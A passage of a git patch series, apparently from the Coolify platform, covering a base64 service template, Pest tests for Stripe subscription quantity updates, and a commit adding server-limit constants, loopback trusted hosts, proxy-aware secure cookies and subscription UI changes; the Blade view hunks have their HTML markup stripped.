mYWlsJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7U0VSVklDRV9EQl9OQU1FOi1lbnRlX2RifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICR7UE9TVEdSRVNfVVNFUn0gLWQgJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX1BIT1RPU19PUklHSU49JHtTRVJWSUNFX0ZRRE5fV0VCfScKICAgICAgLSAnRU5URV9EQl9IT1NUPSR7RU5URV9EQl9IT1NUOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0VOVEVfREJfUE9SVD0ke0VOVEVfREJfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0VOVEVfREJfTkFNRT0ke0VOVEVfREJfTkFNRTotZW50ZV9kYn0nCiAgICAgIC0gJ0VOVEVfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnRU5URV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdFTlRFX0tFWV9FTkNSWVBUSU9OPSR7U0VSVklDRV9SRUFMQkFTRTY0X0VOQ1JZUFRJT059JwogICAgICAtICdFTlRFX0tFWV9IQVNIPSR7U0VSVklDRV9SRUFMQkFTRTY0XzY0X0hBU0h9JwogICAgICAtICdFTlRFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1JFQUxCQVNFNjRfSldUfScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9BRE1JTj0ke0VOVEVfSU5URVJOQUxfQURNSU46LTE1ODA1NTk5NjIzODY0Mzh9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OPSR7RU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTjotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9BUkVfTE9DQUxfQlVDS0VUUz0ke1BSSU1BUllfU1RPUkFHRV9BUkVfTE9DQUxfQlVDS0VUUzotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9VU0VfUEFUSF9TVFlMRV9VUkxTPSR7UFJJTUFSWV9TVE9SQUdFX1VTRV9QQVRIX1NUWUxFX1VSTFM6LXRydWV9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9LRVk9JHtTM19TVE9SQUdFX0tFWTo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fU0VDUkVUPSR7UzNfU1RPUkFHRV9TRUNSRVQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0VORFBPSU5UPSR7UzNfU1RPUkFHRV9FTkRQT0lOVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fUkVHSU9OPSR7UzNfU1RPUkFHRV9SRUdJT046LXVzLWVhc3QtMX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0JVQ0tFVD0ke1MzX1NUT1JBR0VfQlVDS0VUOj99JwogICAgICAtICdFTlRFX1NNVFBfSE9TVD0ke0VOVEVfU01UUF9IT1NUfScKICAgICAgLSAnRU5URV9TTVRQX1BPUlQ9JHtFTlRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9VU0VSTkFNRT0ke0VOVEVfU01UUF9VU0VSTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9QQVNTV09SRD0ke0VOVEVfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTUFJTD0ke0VOVEVfU01UUF9FTUFJTH0nCiAgICAgIC0gJ0VOVEVfU01UUF9TRU5ERVJfTkFNRT0ke0VOVEVfU01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTkNSWVBUSU9OPSR7RU5URV9TTVRQX0VOQ1JZUFRJT059JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ211c2V1bS1kYXRhOi9kYXRhJwogICAgICAtICdtdXNldW0tY29uZmlnOi9jb25maWcnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xTy0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDgwL3BpbmcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHdlYjoKICAgIGltYWdlOiBnaGNyLmlvL2VudGUtaW8vd2ViCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9GUUROX01VU0VVTX0nCiAgICAgIC0gJ0VOVEVfQUxCVU1TX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9XRUJfMzAwMn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy0tZmFpbCcKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1NFUlZJQ0VfREJfTkFNRTotZW50ZV9kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAke1BPU1RHUkVTX1VTRVJ9IC1kICR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", "tags": [ "photos", "gallery", diff --git a/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php new file mode 100644 index 000000000..3e13170f0 --- /dev/null +++ b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php @@ -0,0 +1,375 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_qty', + 'stripe_customer_id' => 'cus_test_qty', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_qty', + 'stripe_cancel_at_period_end' => false, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockInvoices = Mockery::mock(InvoiceService::class); + $this->mockTaxRates = Mockery::mock(TaxRateService::class); + $this->mockStripe->subscriptions = $this->mockSubscriptions; + $this->mockStripe->invoices = $this->mockInvoices; + $this->mockStripe->taxRates = $this->mockTaxRates; + + $this->stripeSubscriptionResponse = (object) [ + 'items' => (object) [ + 'data' => [(object) [ + 'id' => 'si_item_123', + 'quantity' => 2, + 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'], + ]], + ], + ]; +}); + +describe('UpdateSubscriptionQuantity::execute', function () { + test('updates quantity successfully', function () { + Queue::fake(); + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_qty', [ + 'items' => [ + ['id' => 'si_item_123', 'quantity' => 5], + ], + 'proration_behavior' => 'always_invoice', + 'expand' => ['latest_invoice'], + ]) + ->andReturn((object) [ + 'status' => 'active', + 'latest_invoice' => (object) ['status' => 'paid'], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->toBe(5); + + Queue::assertPushed(ServerLimitCheckJob::class, function ($job) { + return $job->team->id === $this->team->id; + }); + }); + + test('reverts subscription and voids invoice when payment fails', function () { + Queue::fake(); + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + // First update: changes quantity but payment fails + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_qty', [ + 'items' => [ + ['id' => 'si_item_123', 'quantity' => 5], + ], + 'proration_behavior' => 'always_invoice', + 'expand' => ['latest_invoice'], + ]) + ->andReturn((object) [ + 'status' => 'active', + 'latest_invoice' => (object) ['id' => 'in_failed_123', 'status' => 'open'], + ]); + + // Revert: restores original quantity + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_qty', [ + 'items' => [ + ['id' => 'si_item_123', 'quantity' => 2], + ], + 'proration_behavior' => 'none', + ]) + ->andReturn((object) ['status' => 'active']); + + // Void the unpaid invoice + $this->mockInvoices + ->shouldReceive('voidInvoice') + ->with('in_failed_123') + ->once(); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Payment failed'); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->not->toBe(5); + + Queue::assertNotPushed(ServerLimitCheckJob::class); + }); + + test('rejects quantity below minimum of 2', function () { + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 1); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Minimum server limit is 2'); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No active subscription'); + }); + + test('fails when subscription is not active', function () { + $this->subscription->update(['stripe_invoice_paid' => false]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('not active'); + }); + + test('fails when subscription item cannot be found', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn((object) [ + 'items' => (object) ['data' => []], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Could not find subscription item'); + }); + + test('handles stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Stripe error'); + }); + + test('handles generic exception gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->andThrow(new \RuntimeException('Network error')); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('unexpected error'); + }); +}); + +describe('UpdateSubscriptionQuantity::fetchPricePreview', function () { + test('returns full preview with proration and recurring cost with tax', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + $this->mockInvoices + ->shouldReceive('upcoming') + ->with([ + 'customer' => 'cus_test_qty', + 'subscription' => 'sub_test_qty', + 'subscription_items' => [ + ['id' => 'si_item_123', 'quantity' => 3], + ], + 'subscription_proration_behavior' => 'create_prorations', + ]) + ->andReturn((object) [ + 'amount_due' => 2540, + 'total' => 2540, + 'subtotal' => 2000, + 'tax' => 540, + 'currency' => 'usd', + 'lines' => (object) [ + 'data' => [ + (object) ['amount' => -300, 'proration' => true], // credit for unused + (object) ['amount' => 800, 'proration' => true], // charge for new qty + (object) ['amount' => 1500, 'proration' => false], // next cycle + ], + ], + 'total_tax_amounts' => [ + (object) ['tax_rate' => 'txr_123'], + ], + ]); + + $this->mockTaxRates + ->shouldReceive('retrieve') + ->with('txr_123') + ->andReturn((object) [ + 'display_name' => 'VAT', + 'jurisdiction' => 'HU', + 'percentage' => 27, + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 3); + + expect($result['success'])->toBeTrue(); + // Due now: invoice total (2540) - recurring total (1905) = 635 + expect($result['preview']['due_now'])->toBe(635); + // Recurring: 3 × $5.00 = $15.00 + expect($result['preview']['recurring_subtotal'])->toBe(1500); + // Tax: $15.00 × 27% = $4.05 + expect($result['preview']['recurring_tax'])->toBe(405); + // Total: $15.00 + $4.05 = $19.05 + expect($result['preview']['recurring_total'])->toBe(1905); + expect($result['preview']['unit_price'])->toBe(500); + expect($result['preview']['tax_description'])->toContain('VAT'); + expect($result['preview']['tax_description'])->toContain('27%'); + expect($result['preview']['quantity'])->toBe(3); + expect($result['preview']['currency'])->toBe('USD'); + }); + + test('returns preview without tax when no tax applies', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + $this->mockInvoices + ->shouldReceive('upcoming') + ->andReturn((object) [ + 'amount_due' => 1250, + 'total' => 1250, + 'subtotal' => 1250, + 'tax' => 0, + 'currency' => 'usd', + 'lines' => (object) [ + 'data' => [ + (object) ['amount' => 250, 'proration' => true], // proration charge + (object) ['amount' => 1000, 'proration' => false], // next cycle + ], + ], + 'total_tax_amounts' => [], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 2); + + expect($result['success'])->toBeTrue(); + // Due now: invoice total (1250) - recurring total (1000) = 250 + expect($result['preview']['due_now'])->toBe(250); + // 2 × $5.00 = $10.00, no tax + expect($result['preview']['recurring_subtotal'])->toBe(1000); + expect($result['preview']['recurring_tax'])->toBe(0); + expect($result['preview']['recurring_total'])->toBe(1000); + expect($result['preview']['tax_description'])->toBeNull(); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['preview'])->toBeNull(); + }); + + test('fails when subscription item not found', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn((object) [ + 'items' => (object) ['data' => []], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Could not retrieve subscription details'); + }); + + test('handles Stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->andThrow(new \RuntimeException('API error')); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Could not load price preview'); + expect($result['preview'])->toBeNull(); + }); +}); + +describe('Subscription billingInterval', function () { + test('returns monthly for monthly plan', function () { + config()->set('subscription.stripe_price_id_dynamic_monthly', 'price_monthly_123'); + + $this->subscription->update(['stripe_plan_id' => 'price_monthly_123']); + $this->subscription->refresh(); + + expect($this->subscription->billingInterval())->toBe('monthly'); + }); + + test('returns yearly for yearly plan', function () { + config()->set('subscription.stripe_price_id_dynamic_yearly', 'price_yearly_123'); + + $this->subscription->update(['stripe_plan_id' => 'price_yearly_123']); + $this->subscription->refresh(); + + expect($this->subscription->billingInterval())->toBe('yearly'); + }); + + test('defaults to monthly when plan id is null', function () { + $this->subscription->update(['stripe_plan_id' => null]); + $this->subscription->refresh(); + + expect($this->subscription->billingInterval())->toBe('monthly'); + }); +}); From d3b8d70f08aee1e8a82842cf559c74921894ece2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 12:28:16 +0100 Subject: [PATCH 136/305] fix(subscription): harden quantity updates and proxy trust behavior Centralize min/max server limits in Stripe quantity updates and wire them into Livewire subscription actions with price preview/update handling. Also improve host/proxy middleware behavior by trusting loopback hosts when FQDN is set and auto-enabling secure session cookies for HTTPS requests behind proxies when session.secure is unset. Includes feature tests for loopback trust and secure cookie auto-detection. --- .../Stripe/UpdateSubscriptionQuantity.php | 9 +- app/Http/Middleware/TrustHosts.php | 7 + app/Http/Middleware/TrustProxies.php | 22 ++ app/Livewire/Subscription/Actions.php | 49 +++ app/Models/Subscription.php | 14 + .../components/modal-confirmation.blade.php | 2 +- .../livewire/subscription/actions.blade.php | 305 ++++++++++++------ .../Feature/SecureCookieAutoDetectionTest.php | 64 ++++ tests/Feature/TrustHostsMiddlewareTest.php | 50 +++ 9 files changed, 423 insertions(+), 99 deletions(-) create mode 100644 tests/Feature/SecureCookieAutoDetectionTest.php diff --git a/app/Actions/Stripe/UpdateSubscriptionQuantity.php b/app/Actions/Stripe/UpdateSubscriptionQuantity.php index f22f56ad0..c181e988d 100644 --- a/app/Actions/Stripe/UpdateSubscriptionQuantity.php +++ b/app/Actions/Stripe/UpdateSubscriptionQuantity.php @@ -8,6 +8,10 @@ class UpdateSubscriptionQuantity { + public const int MAX_SERVER_LIMIT = 100; + + public const int MIN_SERVER_LIMIT = 2; + private StripeClient $stripe; public function __construct(?StripeClient $stripe = null) @@ -60,6 +64,7 @@ public function fetchPricePreview(Team $team, int $quantity): array $taxDescription = $taxRate->display_name.' ('.$taxRate->jurisdiction.') '.$taxRate->percentage.'%'; } } + // Fallback tax percentage from invoice totals - use tax_rate details when available for accuracy if ($taxPercentage === 0.0 && ($upcomingInvoice->tax ?? 0) > 0 && ($upcomingInvoice->subtotal ?? 0) > 0) { $taxPercentage = round(($upcomingInvoice->tax / $upcomingInvoice->subtotal) * 100, 2); } @@ -110,8 +115,8 @@ public function fetchPricePreview(Team $team, int $quantity): array */ public function execute(Team $team, int $quantity): array { - if ($quantity < 2) { - return ['success' => false, 'error' => 'Minimum server limit is 2.']; + if ($quantity < self::MIN_SERVER_LIMIT) { + return ['success' => false, 'error' => 'Minimum server limit is '.self::MIN_SERVER_LIMIT.'.']; } $subscription = $team->subscription; diff --git a/app/Http/Middleware/TrustHosts.php b/app/Http/Middleware/TrustHosts.php index f0b9d67f2..5fca583d9 100644 --- a/app/Http/Middleware/TrustHosts.php +++ b/app/Http/Middleware/TrustHosts.php @@ -91,6 +91,13 @@ public function hosts(): array // Trust all subdomains of APP_URL as fallback $trustedHosts[] = $this->allSubdomainsOfApplicationUrl(); + // Always trust loopback addresses so local access works even when FQDN is configured + foreach (['localhost', '127.0.0.1', '[::1]'] as $localHost) { + if (! in_array($localHost, $trustedHosts, true)) { + $trustedHosts[] = $localHost; + } + } + return array_filter($trustedHosts); } } diff --git a/app/Http/Middleware/TrustProxies.php b/app/Http/Middleware/TrustProxies.php index 559dd2fc3..a4764047b 100644 --- a/app/Http/Middleware/TrustProxies.php +++ b/app/Http/Middleware/TrustProxies.php @@ -25,4 +25,26 @@ class TrustProxies extends Middleware Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO | Request::HEADER_X_FORWARDED_AWS_ELB; + + /** + * Handle the request. + * + * Wraps $next so that after proxy headers are resolved (X-Forwarded-Proto processed), + * the Secure cookie flag is auto-enabled when the request is over HTTPS. + * This ensures session cookies are correctly marked Secure when behind an HTTPS + * reverse proxy (Cloudflare Tunnel, nginx, etc.) even when SESSION_SECURE_COOKIE + * is not explicitly set in .env. + */ + public function handle($request, \Closure $next) + { + return parent::handle($request, function ($request) use ($next) { + // At this point proxy headers have been applied to the request, + // so $request->secure() correctly reflects the actual protocol. + if ($request->secure() && config('session.secure') === null) { + config(['session.secure' => true]); + } + + return $next($request); + }); + } } diff --git a/app/Livewire/Subscription/Actions.php b/app/Livewire/Subscription/Actions.php index 4ac95adfb..2d5392240 100644 --- a/app/Livewire/Subscription/Actions.php +++ b/app/Livewire/Subscription/Actions.php @@ -5,6 +5,7 @@ use App\Actions\Stripe\CancelSubscriptionAtPeriodEnd; use App\Actions\Stripe\RefundSubscription; use App\Actions\Stripe\ResumeSubscription; +use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Team; use Illuminate\Support\Facades\Hash; use Livewire\Component; @@ -14,6 +15,14 @@ class Actions extends Component { public $server_limits = 0; + public int $quantity = UpdateSubscriptionQuantity::MIN_SERVER_LIMIT; + + public int $minServerLimit = UpdateSubscriptionQuantity::MIN_SERVER_LIMIT; + + public int $maxServerLimit = UpdateSubscriptionQuantity::MAX_SERVER_LIMIT; + + public ?array $pricePreview = null; + public bool $isRefundEligible = false; public int $refundDaysRemaining = 0; @@ -25,6 +34,46 @@ class Actions extends Component public function mount(): void { $this->server_limits = Team::serverLimit(); + $this->quantity = (int) $this->server_limits; + } + + public function loadPricePreview(int $quantity): void + { + $this->quantity = $quantity; + $result = (new UpdateSubscriptionQuantity)->fetchPricePreview(currentTeam(), $quantity); + $this->pricePreview = $result['success'] ? $result['preview'] : null; + } + + // Password validation is intentionally skipped for quantity updates. + // Unlike refunds/cancellations, changing the server limit is a + // non-destructive, reversible billing adjustment (prorated by Stripe). + public function updateQuantity(string $password = ''): bool + { + if ($this->quantity < UpdateSubscriptionQuantity::MIN_SERVER_LIMIT) { + $this->dispatch('error', 'Minimum server limit is '.UpdateSubscriptionQuantity::MIN_SERVER_LIMIT.'.'); + $this->quantity = UpdateSubscriptionQuantity::MIN_SERVER_LIMIT; + + return true; + } + + if ($this->quantity === (int) $this->server_limits) { + return true; + } + + $result = (new UpdateSubscriptionQuantity)->execute(currentTeam(), $this->quantity); + + if ($result['success']) { + $this->server_limits = $this->quantity; + $this->pricePreview = null; + $this->dispatch('success', 'Server limit updated to '.$this->quantity.'.'); + + return true; + } + + $this->dispatch('error', $result['error'] ?? 'Failed to update server limit.'); + $this->quantity = (int) $this->server_limits; + + return true; } public function loadRefundEligibility(): void diff --git a/app/Models/Subscription.php b/app/Models/Subscription.php index 00f85ced5..69d7cbf0d 100644 --- a/app/Models/Subscription.php +++ b/app/Models/Subscription.php @@ -20,6 +20,20 @@ public function team() return $this->belongsTo(Team::class); } + public function billingInterval(): string + { + if ($this->stripe_plan_id) { + $configKey = collect(config('subscription')) + ->search($this->stripe_plan_id); + + if ($configKey && str($configKey)->contains('yearly')) { + return 'yearly'; + } + } + + return 'monthly'; + } + public function type() { if (isStripe()) { diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php index b14888040..e77b52076 100644 --- a/resources/views/components/modal-confirmation.blade.php +++ b/resources/views/components/modal-confirmation.blade.php @@ -35,7 +35,7 @@ $skipPasswordConfirmation = shouldSkipPasswordConfirmation(); if ($temporaryDisableTwoStepConfirmation) { $disableTwoStepConfirmation = false; - $skipPasswordConfirmation = false; + // Password confirmation requirement is not affected by temporary two-step disable } // When password step is skipped, Step 2 becomes final - change button text from "Continue" to "Confirm" $effectiveStep2ButtonText = ($skipPasswordConfirmation && $step2ButtonText === 'Continue') ? 'Confirm' : $step2ButtonText; diff --git a/resources/views/livewire/subscription/actions.blade.php b/resources/views/livewire/subscription/actions.blade.php index 2f33d4f70..4b276aaf6 100644 --- a/resources/views/livewire/subscription/actions.blade.php +++ b/resources/views/livewire/subscription/actions.blade.php @@ -1,7 +1,39 @@
@if (subscriptionProvider() === 'stripe') {{-- Plan Overview --}} -
+

Plan Overview

{{-- Current Plan Card --}} @@ -25,11 +57,12 @@
- {{-- Server Limit Card --}} -
+ {{-- Paid Servers Card --}} +
Paid Servers
-
{{ $server_limits }}
-
Included in your plan
+
+
Click to adjust
{{-- Active Servers Card --}} @@ -49,103 +82,183 @@ class="p-5 rounded border dark:bg-coolgray-100 bg-white border-neutral-200 dark: subscription. Excess servers will be deactivated. @endif + + {{-- Adjust Server Limit Modal --}} + - {{-- Manage Plan --}} + {{-- Billing, Refund & Cancellation --}}
-

Manage Plan

-
-
- - - - - Manage Billing on Stripe - -
-

Change your server quantity, update payment methods, or view - invoices.

+

Manage Subscription

+
+ {{-- Billing --}} + + + + + Manage Billing on Stripe + + + {{-- Resume or Cancel --}} + @if (currentTeam()->subscription->stripe_cancel_at_period_end) + Resume Subscription + @else + + + @endif + + {{-- Refund --}} + @if ($refundCheckLoading) + + @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + + @endif
+ + {{-- Contextual notes --}} + @if ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) +

Eligible for a full refund — {{ $refundDaysRemaining }} days remaining.

+ @elseif ($refundAlreadyUsed) +

Refund already processed. Each team is eligible for one refund only.

+ @endif + @if (currentTeam()->subscription->stripe_cancel_at_period_end) +

Your subscription is set to cancel at the end of the billing period.

+ @endif
- {{-- Refund Section --}} - @if ($refundCheckLoading) -
-

Refund

- -
- @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) -
-

Refund

-
-
- -
-

You are eligible for a full refund. - {{ $refundDaysRemaining }} days remaining - in the 30-day refund window.

-
-
- @elseif ($refundAlreadyUsed) -
-

Refund

-

A refund has already been processed for this team. Each team is - eligible for one refund only to prevent abuse.

-
- @endif - - {{-- Resume / Cancel Subscription Section --}} - @if (currentTeam()->subscription->stripe_cancel_at_period_end) -
-

Resume Subscription

-
-
- Resume Subscription -
-

Your subscription is set to cancel at the end of the billing - period. Resume to continue your plan.

-
-
- @else -
-

Cancel Subscription

-
-
- - -
-

Cancel your subscription immediately or at the end of the - current billing period.

-
-
- @endif -
Need help? Contact us. diff --git a/tests/Feature/SecureCookieAutoDetectionTest.php b/tests/Feature/SecureCookieAutoDetectionTest.php new file mode 100644 index 000000000..4db0a7681 --- /dev/null +++ b/tests/Feature/SecureCookieAutoDetectionTest.php @@ -0,0 +1,64 @@ + 0], ['fqdn' => null]); + // Ensure session.secure starts unconfigured for each test + config(['session.secure' => null]); +}); + +it('sets session.secure to true when request arrives over HTTPS via proxy', function () { + $this->get('/login', [ + 'X-Forwarded-Proto' => 'https', + 'X-Forwarded-For' => '1.2.3.4', + ]); + + expect(config('session.secure'))->toBeTrue(); +}); + +it('does not set session.secure for plain HTTP requests', function () { + $this->get('/login'); + + expect(config('session.secure'))->toBeNull(); +}); + +it('does not override explicit SESSION_SECURE_COOKIE=false for HTTPS requests', function () { + config(['session.secure' => false]); + + $this->get('/login', [ + 'X-Forwarded-Proto' => 'https', + 'X-Forwarded-For' => '1.2.3.4', + ]); + + // Explicit false must not be overridden — our check is `=== null` only + expect(config('session.secure'))->toBeFalse(); +}); + +it('does not override explicit SESSION_SECURE_COOKIE=true', function () { + config(['session.secure' => true]); + + $this->get('/login'); + + expect(config('session.secure'))->toBeTrue(); +}); + +it('marks session cookie with Secure flag when accessed over HTTPS proxy', function () { + $response = $this->get('/login', [ + 'X-Forwarded-Proto' => 'https', + 'X-Forwarded-For' => '1.2.3.4', + ]); + + 